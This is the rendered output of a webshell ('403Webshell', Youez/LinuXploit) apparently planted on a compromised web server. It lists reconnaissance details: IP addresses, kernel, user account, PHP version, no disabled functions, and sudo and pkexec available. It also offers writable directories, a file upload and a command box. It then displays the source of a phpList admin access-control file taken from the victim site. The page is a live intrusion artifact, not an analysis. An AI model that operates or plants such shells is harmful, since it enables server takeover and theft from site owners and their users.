403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/handjobcafe.com/public_html/lists/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/handjobcafe.com/public_html/lists/admin/accesscheck.php
<?php

if (!defined('PHPLISTINIT') && !isset($GLOBALS["installer"])) {
#	print backtrace();
  print "Invalid Request";
  exit;
}

function accessLevel($page) {
  global $tables,$access_levels;
  if (!$GLOBALS["require_login"] || isSuperUser())
    return "all";
  if (!isset($_SESSION["adminloggedin"])) return 0;
  if (!is_array($_SESSION["logindetails"])) return 0;

  ## for non-supers we only allow owner views
  ## this is likely to need tweaking
  return 'owner';
}

function requireAccessLevel($page,$level) {
  $adminlevel = accessLevel($page);
  return $adminlevel == $level;
}

function isSuperUser() {
  ## for now mark webbler admins superuser
  if (defined('WEBBLER') || defined('IN_WEBBLER')) return 1;
  global $tables;
  $issuperuser = 0;
#  if (!isset($_SESSION["adminloggedin"])) return 0;
 # if (!is_array($_SESSION["logindetails"])) return 0;
  if (isset($_SESSION["logindetails"]["superuser"])) {
    return $_SESSION["logindetails"]["superuser"];
  }
  if (isset($_SESSION["logindetails"]["id"])) {
    if (is_object($GLOBALS["admin_auth"]) ) {
      $issuperuser = $GLOBALS["admin_auth"]->isSuperUser($_SESSION["logindetails"]["id"]);
    } else {
      $query
      = ' select superuser '
      . ' from %s'
      . ' where id = ?';
      $query = sprintf($query, $tables['admin']);
      $req = Sql_Query_Params($query, array($_SESSION['logindetails']['id']));
      $req = Sql_Fetch_Row($req);
      $issuperuser = $req[0];
    }
    $_SESSION["logindetails"]["superuser"] = $issuperuser;
  }
  return $issuperuser;
}


Youez - 2016 - github.com/yon3zu
LinuXploit